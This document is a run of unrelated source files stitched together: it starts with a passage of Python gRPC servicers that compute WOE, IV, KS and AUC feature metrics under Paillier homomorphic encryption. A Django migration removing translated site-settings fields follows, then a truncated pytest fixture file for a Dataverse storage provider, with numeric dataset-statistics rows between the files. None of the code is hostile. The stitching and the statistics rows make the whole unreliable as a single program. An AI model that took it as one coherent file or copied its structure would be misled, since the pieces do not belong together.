pos_sum[feature_value] = self._enc_labels[sample_index]
feature_bin[feature_value] = 1
# cal neg sum
for key, value in pos_sum.items():
bin_size_cipher = self._paillier.encrypt_int64_t(feature_bin[key])
neg_sum[key] = self._paillier.homm_minus(bin_size_cipher, value)
#Blind using random numbers N/8 bits
for key in pos_sum.keys():
blind_r = self._paillier.get_random_bits(self._paillier.byte_len(0))
pos_sum[key] = self._paillier.homm_mult(pos_sum[key], blind_r)
pos_sum[key] = self._paillier.encode_cipher_bytes(pos_sum[key])
neg_sum[key] = self._paillier.homm_mult(neg_sum[key], blind_r)
neg_sum[key] = self._paillier.encode_cipher_bytes(neg_sum[key])
all_pos_sum.append(pos_sum)
all_neg_sum.append(neg_sum)
feature_labels_sum = metrics_pb2.FeatureLabelsSum(feature_size = self._feature_size,
labels = [])
for feature_idx in range(self._feature_size):
bin_labels_sum = metrics_pb2.BinLabelsSum(bins_size = len(all_pos_sum[feature_idx]),
positive_sum = all_pos_sum[feature_idx],
negative_sum = all_neg_sum[feature_idx])
feature_labels_sum.labels.append(bin_labels_sum)
logger.info('sending labels sum')
return feature_labels_sum
def SendWOE(self, request, context):
"""
client send woe to server
"""
for feature_idx in range(request.feature_size):
woe_dict = request.values[feature_idx].value_dict
woe_dict_ = {}
for key in woe_dict.keys():
woe_dict_[key] = round(woe_dict[key], 6)
self._woe_list.append(woe_dict_)
logger.info('received woe')
self._stop_event.set()
return metrics_pb2.Status(code = 1)
class MpcIVServicer(metrics_pb2_grpc.MpcIVServicer):
"""
iv servicer implementation
"""
def __init__(self, features, stop_event, iv_list, woe_list=[]):
"""
load feature to server
prams:
features: a feature list in the shape of (sample_size, features_size)
e.g. [[4, 3, 1], [1, 2, 5],...,[2, 3 ,2]] (feature_size = 3)
stop_event: control the server shutdown when the server does not
participate in the protocol
iv_list: server store the result in iv_list
woe_list: server store the woe in woe_list
"""
self._sample_size = len(features)
self._features = features
self._feature_size = len(features[0])
self._stop_event = stop_event
self._iv_list = iv_list
self._woe_list = woe_list
logger.info('feature size: {0}, sample size: {1}'.format(
self._feature_size, self._sample_size))
def SyncSampleSize(self, request, context):
"""
client sync sample size and feature size with server
"""
logger.info('received client\'s sample size: {}'.format(request.sample_size))
if request.sample_size == self._sample_size:
return metrics_pb2.Sample(sample_size = self._sample_size,
feature_size = self._feature_size)
else:
return metrics_pb2.Sample(sample_size = -1, feature_size = 0)
def SendPubkey(self, request, context):
"""
client send pubkey to server
"""
paillier = hu.Paillier()
paillier.import_pk(request.pk)
self._paillier = paillier
logger.info('received pub key')
return metrics_pb2.Status(code = 1)
def GetLabelsSum(self, request, context):
"""
client get labels sum from server
"""
batch_size = request.sample_size
if (self._sample_size != batch_size):
raise ValueError("sample size not equal")
logger.info('decoding labels')
self._enc_labels = self._paillier.batch_decode(request.labels)
all_pos_sum = []
all_neg_sum = []
self._all_bind_r_inv = []
logger.info('calculating labels sum:')
for feature_idx in range(self._feature_size):
logger.info('processing feature idx {}'.format(feature_idx))
pos_sum = {}
neg_sum = {}
blind_r_inv_dict = {}
feature_bin = {}
for sample_index in range(self._sample_size):
feature_value = self._features[sample_index][feature_idx]
if(feature_value in feature_bin):
pos_sum[feature_value] = self._paillier.homm_add(pos_sum[feature_value],
self._enc_labels[sample_index])
feature_bin[feature_value] += 1
else:
pos_sum[feature_value] = self._enc_labels[sample_index]
feature_bin[feature_value] = 1
# cal neg sum
for key, value in pos_sum.items():
bin_size_cipher = self._paillier.encrypt_int64_t(feature_bin[key])
neg_sum[key] = self._paillier.homm_minus(bin_size_cipher, value)
#Blind using random numbers N/8 bits
for key in pos_sum.keys():
blind_r = self._paillier.get_random_bits(self._paillier.byte_len(0))
blind_r_inv_dict[key] = hu.mod_inv(blind_r, self._paillier.n())
pos_sum[key] = self._paillier.homm_mult(pos_sum[key], blind_r)
pos_sum[key] = self._paillier.encode_cipher_bytes(pos_sum[key])
neg_sum[key] = self._paillier.homm_mult(neg_sum[key], blind_r)
neg_sum[key] = self._paillier.encode_cipher_bytes(neg_sum[key])
all_pos_sum.append(pos_sum)
all_neg_sum.append(neg_sum)
self._all_bind_r_inv.append(blind_r_inv_dict)
feature_labels_sum = metrics_pb2.FeatureLabelsSum(feature_size = self._feature_size,
labels = [])
for feature_idx in range(self._feature_size):
bin_labels_sum = metrics_pb2.BinLabelsSum(bins_size = len(all_pos_sum[feature_idx]),
positive_sum = all_pos_sum[feature_idx],
negative_sum = all_neg_sum[feature_idx])
feature_labels_sum.labels.append(bin_labels_sum)
logger.info('sending labels sum')
return feature_labels_sum
def GetEncIV(self, request, context):
"""
client get enc iv
"""
all_iv = []
logger.info('received blind encryptd iv')
logger.info('calculating unblind iv')
for feature_idx in range(request.feature_size):
logger.info('processing feature idx {}'.format(feature_idx))
blind_iv_dict = {}
recved_dict = request.values[feature_idx].value_dict
iv = self._paillier.encrypt_int64_t(0)
for key in recved_dict:
blind_iv_dict[key] = self._paillier.decode(recved_dict[key])
blind_iv_dict[key] = self._paillier.homm_mult(blind_iv_dict[key],
self._all_bind_r_inv[feature_idx][key])
iv = self._paillier.homm_add(iv, blind_iv_dict[key])
all_iv.append(self._paillier.encode_cipher_bytes(iv))
logger.info('sending unblind encryptd iv')
return metrics_pb2.EncFeatureMetric(feature_size = len(all_iv),
values = all_iv)
def SendIV(self, request, context):
"""
client send iv to server
"""
iv_list = request.values
for feature_idx in range(len(iv_list)):
self._iv_list.append(round(iv_list[feature_idx], 6))
logger.info('received iv')
self._stop_event.set()
return metrics_pb2.Status(code = 1)
def SendWOE(self, request, context):
"""
client send woe to server
"""
for feature_idx in range(request.feature_size):
woe_dict = request.values[feature_idx].value_dict
woe_dict_ = {}
for key in woe_dict.keys():
woe_dict_[key] = round(woe_dict[key], 6)
self._woe_list.append(woe_dict_)
logger.info('received woe')
return metrics_pb2.Status(code = 1)
class MpcKSServicer(metrics_pb2_grpc.MpcKSServicer):
"""
ks servicer implementation
"""
def __init__(self, features, stop_event, ks_list, num_thresholds=2047):
"""
load feature to server
prams:
features: a feature list in the shape of (sample_size, features_size)
e.g. [[4, 3, 1], [1, 2, 5],...,[2, 3 ,2]] (feature_size = 3)
stop_event: control the server shutdown when the server does not
participate in the protocol
ks_list: server store the result in ks_list
num_thresholds: num of bins
"""
self._sample_size = len(features)
self._features = features
self._feature_size = len(features[0])
self._stop_event = stop_event
self._ks_list = ks_list
self._num_thresholds = num_thresholds
logger.info('feature size: {0}, sample size: {1}'.format(
self._feature_size, self._sample_size))
def SyncSampleSize(self, request, context):
"""
client sync sample size and feature size with server
"""
logger.info('received client\'s sample size: {}'.format(request.sample_size))
if request.sample_size == self._sample_size:
return metrics_pb2.Sample(sample_size = self._sample_size,
feature_size = self._feature_size)
else:
return metrics_pb2.Sample(sample_size = -1, feature_size = 0)
def SendPubkey(self, request, context):
"""
client send pubkey to server
"""
paillier = hu.Paillier()
paillier.import_pk(request.pk)
self._paillier = paillier
logger.info('received pub key')
return metrics_pb2.Status(code = 1)
def GetCumLabelsSum(self, request, context):
"""
client get cum labels sum from server
"""
batch_size = request.sample_size
if (self._sample_size != batch_size):
raise ValueError("sample size not equal")
logger.info('decoding labels')
self._enc_labels = self._paillier.batch_decode(request.labels)
all_pos_cum_sum = []
all_neg_cum_sum = []
self._all_bind_r_inv = []
logger.info('calculating cum labels sum:')
for feature_idx in range(self._feature_size):
logger.info('processing feature idx {}'.format(feature_idx))
pos_sum = {}
neg_sum = {}
blind_r_inv_dict = {}
feature_bin = {}
feature_values = [val[feature_idx] for val in self._features]
# quantile-based discretization,cut feature into equal-sized buckets,return integer indicators of the bins
feature_values = pd.qcut(feature_values, q=self._num_thresholds,labels=False, retbins=False, duplicates="drop")
# get max bin index, fill nan with this value
max_bin_idx = int(max(feature_values) + 1)
for sample_index in range(self._sample_size):
feature_value = feature_values[sample_index]
if np.isnan(feature_value):
feature_value = max_bin_idx
else:
feature_value = int(feature_value)
if(feature_value in feature_bin):
pos_sum[feature_value] = self._paillier.homm_add(pos_sum[feature_value],
self._enc_labels[sample_index])
feature_bin[feature_value] += 1
else:
pos_sum[feature_value] = self._enc_labels[sample_index]
feature_bin[feature_value] = 1
# sort pos sum
pos_sum = dict(sorted(pos_sum.items(), key = lambda item:item[0]))
# cal neg sum
for key, value in pos_sum.items():
bin_size_cipher = self._paillier.encrypt_int64_t(feature_bin[key])
neg_sum[key] = self._paillier.homm_minus(bin_size_cipher, value)
# cum pos and neg
pos_temp = self._paillier.encrypt_int64_t(0)
neg_temp = self._paillier.encrypt_int64_t(0)
for key in pos_sum.keys():
pos_sum[key] = self._paillier.homm_add(pos_sum[key], pos_temp)
pos_temp = pos_sum[key]
neg_sum[key] = self._paillier.homm_add(neg_sum[key], neg_temp)
neg_temp = neg_sum[key]
#Blind using random numbers N/8 bits
for key in pos_sum.keys():
blind_r = self._paillier.get_random_bits(self._paillier.byte_len(0))
blind_r_inv_dict[key] = hu.mod_inv(blind_r, self._paillier.n())
pos_sum[key] = self._paillier.homm_mult(pos_sum[key], blind_r)
pos_sum[key] = self._paillier.encode_cipher_bytes(pos_sum[key])
neg_sum[key] = self._paillier.homm_mult(neg_sum[key], blind_r)
neg_sum[key] = self._paillier.encode_cipher_bytes(neg_sum[key])
all_pos_cum_sum.append(pos_sum)
all_neg_cum_sum.append(neg_sum)
self._all_bind_r_inv.append(blind_r_inv_dict)
feature_labels_sum = metrics_pb2.FeatureLabelsSum(feature_size = self._feature_size,
labels = [])
for feature_idx in range(self._feature_size):
bin_labels_sum = metrics_pb2.BinLabelsSum(bins_size = len(all_pos_cum_sum[feature_idx]),
positive_sum = all_pos_cum_sum[feature_idx],
negative_sum = all_neg_cum_sum[feature_idx])
feature_labels_sum.labels.append(bin_labels_sum)
logger.info('sending cum labels sum')
return feature_labels_sum
def GetEncKS(self, request, context):
"""
client get enc ks
"""
logger.info('received blind encryptd ks')
logger.info('calculating unblind ks')
all_ks = metrics_pb2.EncFeatureMetricList(feature_size = request.feature_size,
values = [])
for feature_idx in range(request.feature_size):
logger.info('processing feature idx {}'.format(feature_idx))
blind_ks_list = []
recved_dict = request.values[feature_idx].value_dict
for key in recved_dict.keys():
blind_ks = self._paillier.decode(recved_dict[key])
blind_ks = self._paillier.homm_mult(blind_ks,
self._all_bind_r_inv[feature_idx][key])
blind_ks = self._paillier.encode_cipher_bytes(blind_ks)
blind_ks_list.append(blind_ks)
random.shuffle(blind_ks_list)
enc_bin_metric_list = metrics_pb2.EncBinMetricList(bins_size = len(blind_ks_list),
value = blind_ks_list)
all_ks.values.append(enc_bin_metric_list)
logger.info('sending unblind encryptd ks')
return all_ks
def SendKS(self, request, context):
"""
client send ks to server
"""
ks_list = request.values
for feature_idx in range(len(ks_list)):
self._ks_list.append(round(ks_list[feature_idx], 6))
logger.info('received ks')
self._stop_event.set()
return metrics_pb2.Status(code = 1)
class MpcAUCServicer(metrics_pb2_grpc.MpcAUCServicer):
"""
auc servicer implementation
"""
def __init__(self, features, stop_event, auc_list, num_thresholds=2047):
"""
load feature to server
prams:
features: a feature list in the shape of (sample_size, features_size)
e.g. [[4, 3, 1], [1, 2, 5],...,[2, 3 ,2]] (feature_size = 3)
stop_event: control the server shutdown when the server does not
participate in the protocol
auc_list: server store the result in auc_list
"""
self._sample_size = len(features)
self._features = features
self._feature_size = len(features[0])
self._stop_event = stop_event
self._auc_list = auc_list
self._num_thresholds = num_thresholds
logger.info('feature size: {0}, sample size: {1}'.format(
self._feature_size, self._sample_size))
def SyncSampleSize(self, request, context):
"""
client sync sample size and feature size with server
"""
logger.info('received client\'s sample size: {}'.format(request.sample_size))
if request.sample_size == self._sample_size:
return metrics_pb2.Sample(sample_size = self._sample_size,
feature_size = self._feature_size)
else:
return metrics_pb2.Sample(sample_size = -1, feature_size = 0)
def SendPubkey(self, request, context):
"""
client send pubkey to server
"""
paillier = hu.Paillier()
paillier.import_pk(request.pk)
self._paillier = paillier
logger.info('received pub key')
return metrics_pb2.Status(code = 1)
def GetLabelsSum(self, request, context):
"""
client get blind auc from server
"""
batch_size = request.sample_size
if (self._sample_size != batch_size):
raise ValueError("sample size not equal")
logger.info('decoding labels')
self._enc_labels = self._paillier.batch_decode(request.labels)
all_pos_sum = []
all_neg_sum = []
self._all_auc_blind = []
logger.info('calculating labels sum:')
for feature_idx in range(self._feature_size):
logger.info('processing feature idx {}'.format(feature_idx))
stat_pos_sum = {}
stat_neg_sum = {}
feature_bin = {}
feature_values = [val[feature_idx] for val in self._features]
# quantile-based discretization,cut feature into equal-sized buckets,return integer indicators of the bins
feature_values = pd.qcut(feature_values, q=self._num_thresholds,labels=False, retbins=False, duplicates="drop")
# get max bin index, fill nan with this value
max_bin_idx = int(max(feature_values) + 1)
for sample_index in range(self._sample_size):
if np.isnan(feature_values[sample_index]):
bin_idx = max_bin_idx
else:
bin_idx = int(feature_values[sample_index])
if(bin_idx in feature_bin):
stat_pos_sum[bin_idx] = self._paillier.homm_add(stat_pos_sum[bin_idx],
self._enc_labels[sample_index])
feature_bin[bin_idx] += 1
else:
stat_pos_sum[bin_idx] = self._enc_labels[sample_index]
feature_bin[bin_idx] = 1
# sort pos sum
stat_pos_sum = dict(sorted(stat_pos_sum.items(), key = lambda item:item[0], reverse=True))
# cal neg sum
for key, value in stat_pos_sum.items():
bin_size_cipher = self._paillier.encrypt_int64_t(feature_bin[key])
stat_neg_sum[key] = self._paillier.homm_minus(bin_size_cipher, value)
# cal blind_auc and blind res
tot_pos = self._paillier.encrypt_int64_t(0)
tot_neg = self._paillier.encrypt_int64_t(0)
tot_blind = self._paillier.encrypt_int64_t(0)
for key in stat_pos_sum.keys():
tot_pos_prev = tot_pos
tot_neg_prev = tot_neg
tot_pos = self._paillier.homm_add(stat_pos_sum[key], tot_pos)
tot_neg = self._paillier.homm_add(stat_neg_sum[key], tot_neg)
neg_temp = self._paillier.homm_minus(tot_neg, tot_neg_prev)
pos_temp = self._paillier.homm_add(tot_pos, tot_pos_prev)
neg_blind_r = self._paillier.get_random_bits(self._paillier.byte_len(0))
pos_blind_r = self._paillier.get_random_bits(self._paillier.byte_len(0))
cipher_temp = self._paillier.homm_mult(neg_temp, pos_blind_r)
tot_blind = self._paillier.homm_add(tot_blind, cipher_temp)
cipher_temp = self._paillier.homm_mult(pos_temp, neg_blind_r)
tot_blind = self._paillier.homm_add(tot_blind, cipher_temp)
cipher_temp = self._paillier.homm_mult(self._paillier.encrypt(neg_blind_r), pos_blind_r)
tot_blind = self._paillier.homm_add(tot_blind, cipher_temp)
neg_temp = self._paillier.homm_add(neg_temp, self._paillier.encrypt(neg_blind_r))
pos_temp = self._paillier.homm_add(pos_temp, self._paillier.encrypt(pos_blind_r))
stat_pos_sum[key] = self._paillier.encode_cipher_bytes(pos_temp)
stat_neg_sum[key] = self._paillier.encode_cipher_bytes(neg_temp)
all_pos_sum.append(stat_pos_sum)
all_neg_sum.append(stat_neg_sum)
self._all_auc_blind.append(tot_blind)
feature_labels_sum = metrics_pb2.FeatureLabelsSum(feature_size = self._feature_size,
labels = [])
for feature_idx in range(self._feature_size):
bin_labels_sum = metrics_pb2.BinLabelsSum(bins_size = len(all_pos_sum[feature_idx]),
positive_sum = all_pos_sum[feature_idx],
negative_sum = all_neg_sum[feature_idx])
feature_labels_sum.labels.append(bin_labels_sum)
logger.info('sending labels sum')
return feature_labels_sum
def GetEncAUC(self, request, context):
"""
client get enc auc
"""
all_auc_ = []
logger.info('received blind encryptd auc')
logger.info('calculating unblind auc')
for feature_idx in range(request.feature_size):
enc_auc = self._paillier.decode(request.values[feature_idx])
enc_auc = self._paillier.homm_minus(enc_auc, self._all_auc_blind[feature_idx])
all_auc_.append(self._paillier.encode_cipher_bytes(enc_auc))
all_auc = metrics_pb2.EncFeatureMetric(feature_size = request.feature_size,
values = all_auc_)
logger.info('sending unblind encryptd auc')
return all_auc
def SendAUC(self, request, context):
"""
client send auc to server
"""
auc_list = request.values
for feature_idx in range(len(auc_list)):
self._auc_list.append(round(auc_list[feature_idx], 6))
logger.info('received auc')
self._stop_event.set()
return metrics_pb2.Status(code = 1)
| 45.339411 | 123 | 0.584279 | 3,850 | 32,327 | 4.58026 | 0.068831 | 0.061245 | 0.032664 | 0.025519 | 0.862935 | 0.820801 | 0.787116 | 0.757741 | 0.73018 | 0.705626 | 0 | 0.009154 | 0.327559 | 32,327 | 712 | 124 | 45.40309 | 0.802052 | 0.119529 | 0 | 0.709812 | 0 | 0.004175 | 0.045085 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058455 | false | 0 | 0.029228 | 0 | 0.156576 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7da4146c4da0d8daf5d6211420dc37df80939b31 | 8,407 | py | Python | site_settings/migrations/0026_auto_20210531_0653.py | diffractive/newstream | cf1a1f230e18d01c63b50ab9d360aa44ac5a486f | [
"MIT"
] | 1 | 2020-05-03T12:33:42.000Z | 2020-05-03T12:33:42.000Z | site_settings/migrations/0026_auto_20210531_0653.py | diffractive/newstream | cf1a1f230e18d01c63b50ab9d360aa44ac5a486f | [
"MIT"
] | 14 | 2020-07-06T20:05:57.000Z | 2022-03-12T00:39:11.000Z | site_settings/migrations/0026_auto_20210531_0653.py | diffractive/newstream | cf1a1f230e18d01c63b50ab9d360aa44ac5a486f | [
"MIT"
] | null | null | null | # Generated by Django 3.1.11 on 2021-05-31 06:53
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('site_settings', '0025_usermetafield_clean_name'),
]
operations = [
migrations.RemoveField(
model_name='sitesettings',
name='_2c2p_frontend_label_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='_2c2p_frontend_label_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='_2c2p_frontend_label_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='_2c2p_frontend_label_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='_2c2p_frontend_label_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='manual_frontend_label_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='manual_frontend_label_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='manual_frontend_label_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='manual_frontend_label_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='manual_frontend_label_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_frontend_label_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_frontend_label_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_frontend_label_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_frontend_label_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_frontend_label_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_instructions_text_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_instructions_text_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_instructions_text_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_instructions_text_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_instructions_text_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_thankyou_text_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_thankyou_text_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_thankyou_text_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_thankyou_text_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='offline_thankyou_text_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_frontend_label_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_frontend_label_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_frontend_label_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_frontend_label_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_frontend_label_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_legacy_frontend_label_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_legacy_frontend_label_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_legacy_frontend_label_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_legacy_frontend_label_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='paypal_legacy_frontend_label_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='signup_footer_text_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='signup_footer_text_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='signup_footer_text_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='signup_footer_text_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='signup_footer_text_zh_hant',
),
migrations.RemoveField(
model_name='sitesettings',
name='stripe_frontend_label_en',
),
migrations.RemoveField(
model_name='sitesettings',
name='stripe_frontend_label_id_id',
),
migrations.RemoveField(
model_name='sitesettings',
name='stripe_frontend_label_ms',
),
migrations.RemoveField(
model_name='sitesettings',
name='stripe_frontend_label_tl',
),
migrations.RemoveField(
model_name='sitesettings',
name='stripe_frontend_label_zh_hant',
),
migrations.RemoveField(
model_name='usermetafield',
name='choices_en',
),
migrations.RemoveField(
model_name='usermetafield',
name='choices_id_id',
),
migrations.RemoveField(
model_name='usermetafield',
name='choices_ms',
),
migrations.RemoveField(
model_name='usermetafield',
name='choices_tl',
),
migrations.RemoveField(
model_name='usermetafield',
name='choices_zh_hant',
),
migrations.RemoveField(
model_name='usermetafield',
name='default_value_en',
),
migrations.RemoveField(
model_name='usermetafield',
name='default_value_id_id',
),
migrations.RemoveField(
model_name='usermetafield',
name='default_value_ms',
),
migrations.RemoveField(
model_name='usermetafield',
name='default_value_tl',
),
migrations.RemoveField(
model_name='usermetafield',
name='default_value_zh_hant',
),
migrations.RemoveField(
model_name='usermetafield',
name='help_text_en',
),
migrations.RemoveField(
model_name='usermetafield',
name='help_text_id_id',
),
migrations.RemoveField(
model_name='usermetafield',
name='help_text_ms',
),
migrations.RemoveField(
model_name='usermetafield',
name='help_text_tl',
),
migrations.RemoveField(
model_name='usermetafield',
name='help_text_zh_hant',
),
migrations.RemoveField(
model_name='usermetafield',
name='label_en',
),
migrations.RemoveField(
model_name='usermetafield',
name='label_id_id',
),
migrations.RemoveField(
model_name='usermetafield',
name='label_ms',
),
migrations.RemoveField(
model_name='usermetafield',
name='label_tl',
),
migrations.RemoveField(
model_name='usermetafield',
name='label_zh_hant',
),
]
| 30.682482 | 59 | 0.557749 | 680 | 8,407 | 6.498529 | 0.076471 | 0.308893 | 0.382439 | 0.441276 | 0.96334 | 0.96334 | 0.96334 | 0.880516 | 0.698574 | 0.291695 | 0 | 0.005461 | 0.346497 | 8,407 | 273 | 60 | 30.794872 | 0.798872 | 0.005472 | 0 | 0.730337 | 1 | 0 | 0.274674 | 0.148582 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.003745 | 0 | 0.014981 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
818b8178cee287565d6faee7b38b70b412d968e1 | 18,607 | py | Python | tests/providers/dataverse/test_provider.py | laurenrevere/waterbutler | 4f358d94376997cd9592b18b67d13a7482c7aa2a | [
"Apache-2.0"
] | null | null | null | tests/providers/dataverse/test_provider.py | laurenrevere/waterbutler | 4f358d94376997cd9592b18b67d13a7482c7aa2a | [
"Apache-2.0"
] | null | null | null | tests/providers/dataverse/test_provider.py | laurenrevere/waterbutler | 4f358d94376997cd9592b18b67d13a7482c7aa2a | [
"Apache-2.0"
] | null | null | null | import pytest
from tests.utils import async
import io
import json
import aiohttpretty
from waterbutler.core import streams
from waterbutler.core import exceptions
from waterbutler.providers.dataverse import settings as dvs
from waterbutler.providers.dataverse import DataverseProvider
from waterbutler.providers.dataverse.metadata import DataverseFileMetadata
@pytest.fixture
def auth():
return {
'name': 'cat',
'email': 'cat@cat.com',
}
@pytest.fixture
def credentials():
return {'token': 'wrote harry potter'}
@pytest.fixture
def settings():
return {
'host': 'myfakehost.dataverse.org',
'doi': 'doi:10.5072/FK2/ABCDEF',
'id': '18',
'name': 'A look at wizards',
}
@pytest.fixture
def provider(auth, credentials, settings):
return DataverseProvider(auth, credentials, settings)
@pytest.fixture
def file_content():
return b'SLEEP IS FOR THE WEAK GO SERVE STREAMS'
@pytest.fixture
def file_like(file_content):
return io.BytesIO(file_content)
@pytest.fixture
def file_stream(file_like):
return streams.FileStreamReader(file_like)
@pytest.fixture
def native_file_metadata():
return {'datafile': {'contentType': 'text/plain; charset=US-ASCII',
'description': '',
'filename': '%2Fusr%2Flocal%2Fglassfish4%2Fglassfish%2Fdomains%2Fdomain1%2Ffiles%2F10.5072%2FFK2%2F232XYH%2F14c7a73d734-8383551cc713',
'id': 20,
'md5': 'acbd18db4cc2f85cedef654fccc4a4d8',
'name': 'thefile.txt',
'originalFormatLabel': 'UNKNOWN'},
'datasetVersionId': 5,
'description': '',
'label': 'thefile.txt',
'version': 1}
@pytest.fixture
def native_dataset_metadata():
return {'data': {'createTime': '2015-04-02T13:21:59Z',
'distributionDate': 'Distribution Date',
'files': [{'datafile': {'contentType': 'text/plain; charset=US-ASCII',
'description': '',
'filename': '%2Fusr%2Flocal%2Fglassfish4%2Fglassfish%2Fdomains%2Fdomain1%2Ffiles%2F10.5072%2FFK2%2F232XYH%2F14c7a73c684-4b22a1757aed',
'id': 19,
'md5': '2243b9249ca96f7cca9f58f7584b5ddb',
'name': 'UnZip.java',
'originalFormatLabel': 'UNKNOWN'},
'datasetVersionId': 5,
'description': '',
'label': 'UnZip.java',
'version': 1},
{'datafile': {'contentType': 'text/plain; charset=US-ASCII',
'description': '',
'filename': '%2Fusr%2Flocal%2Fglassfish4%2Fglassfish%2Fdomains%2Fdomain1%2Ffiles%2F10.5072%2FFK2%2F232XYH%2F14c7a73d734-8383551cc713',
'id': 20,
'md5': 'acbd18db4cc2f85cedef654fccc4a4d8',
'name': 'thefile.txt',
'originalFormatLabel': 'UNKNOWN'},
'datasetVersionId': 5,
'description': '',
'label': 'thefile.txt',
'version': 1},
{'datafile': {'contentType': 'application/octet-stream',
'description': '',
'filename': '%2Fusr%2Flocal%2Fglassfish4%2Fglassfish%2Fdomains%2Fdomain1%2Ffiles%2F10.5072%2FFK2%2F232XYH%2F14c7a73e419-b578b719b05c',
'id': 21,
'md5': 'ee5a34fe861617916acde862d4206280',
'name': 'UnZip.class',
'originalFormatLabel': 'UNKNOWN'},
'datasetVersionId': 5,
'description': '',
'label': 'UnZip.class',
'version': 1}],
'id': 5,
'lastUpdateTime': '2015-04-02T15:26:21Z',
'metadataBlocks': {'citation': {'displayName': 'Citation Metadata',
'fields': [{'multiple': False,
'typeClass': 'primitive',
'typeName': 'title',
'value': 'A look at wizards'},
{'multiple': True,
'typeClass': 'compound',
'typeName': 'author',
'value': [{'authorName': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'authorName',
'value': 'Baggins, Bilbo'}}]},
{'multiple': True,
'typeClass': 'compound',
'typeName': 'datasetContact',
'value': [{'datasetContactEmail': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'datasetContactEmail',
'value': 'email@email.com'},
'datasetContactName': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'datasetContactName',
'value': 'Baggins, Bilbo'}}]},
{'multiple': True,
'typeClass': 'compound',
'typeName': 'dsDescription',
'value': [{'dsDescriptionValue': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'dsDescriptionValue',
'value': 'desc'}}]},
{'multiple': True,
'typeClass': 'controlledVocabulary',
'typeName': 'subject',
'value': ['Other']},
{'multiple': False,
'typeClass': 'primitive',
'typeName': 'depositor',
'value': 'Baggins, Bilbo'},
{'multiple': False,
'typeClass': 'primitive',
'typeName': 'dateOfDeposit',
'value': '2015-04-02'}]}},
'productionDate': 'Production Date',
'releaseTime': '2015-04-02T15:26:21Z',
'versionMinorNumber': 0,
'versionNumber': 1,
'versionState': 'RELEASED'}}
@pytest.fixture
def empty_native_dataset_metadata():
return {'data': {'createTime': '2015-04-02T13:21:59Z',
'distributionDate': 'Distribution Date',
'files': [],
'id': 5,
'lastUpdateTime': '2015-04-02T15:26:21Z',
'metadataBlocks': {'citation': {'displayName': 'Citation Metadata',
'fields': [{'multiple': False,
'typeClass': 'primitive',
'typeName': 'title',
'value': 'A look at wizards'},
{'multiple': True,
'typeClass': 'compound',
'typeName': 'author',
'value': [{'authorName': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'authorName',
'value': 'Baggins, Bilbo'}}]},
{'multiple': True,
'typeClass': 'compound',
'typeName': 'datasetContact',
'value': [{'datasetContactEmail': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'datasetContactEmail',
'value': 'email@email.com'},
'datasetContactName': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'datasetContactName',
'value': 'Baggins, Bilbo'}}]},
{'multiple': True,
'typeClass': 'compound',
'typeName': 'dsDescription',
'value': [{'dsDescriptionValue': {'multiple': False,
'typeClass': 'primitive',
'typeName': 'dsDescriptionValue',
'value': 'desc'}}]},
{'multiple': True,
'typeClass': 'controlledVocabulary',
'typeName': 'subject',
'value': ['Other']},
{'multiple': False,
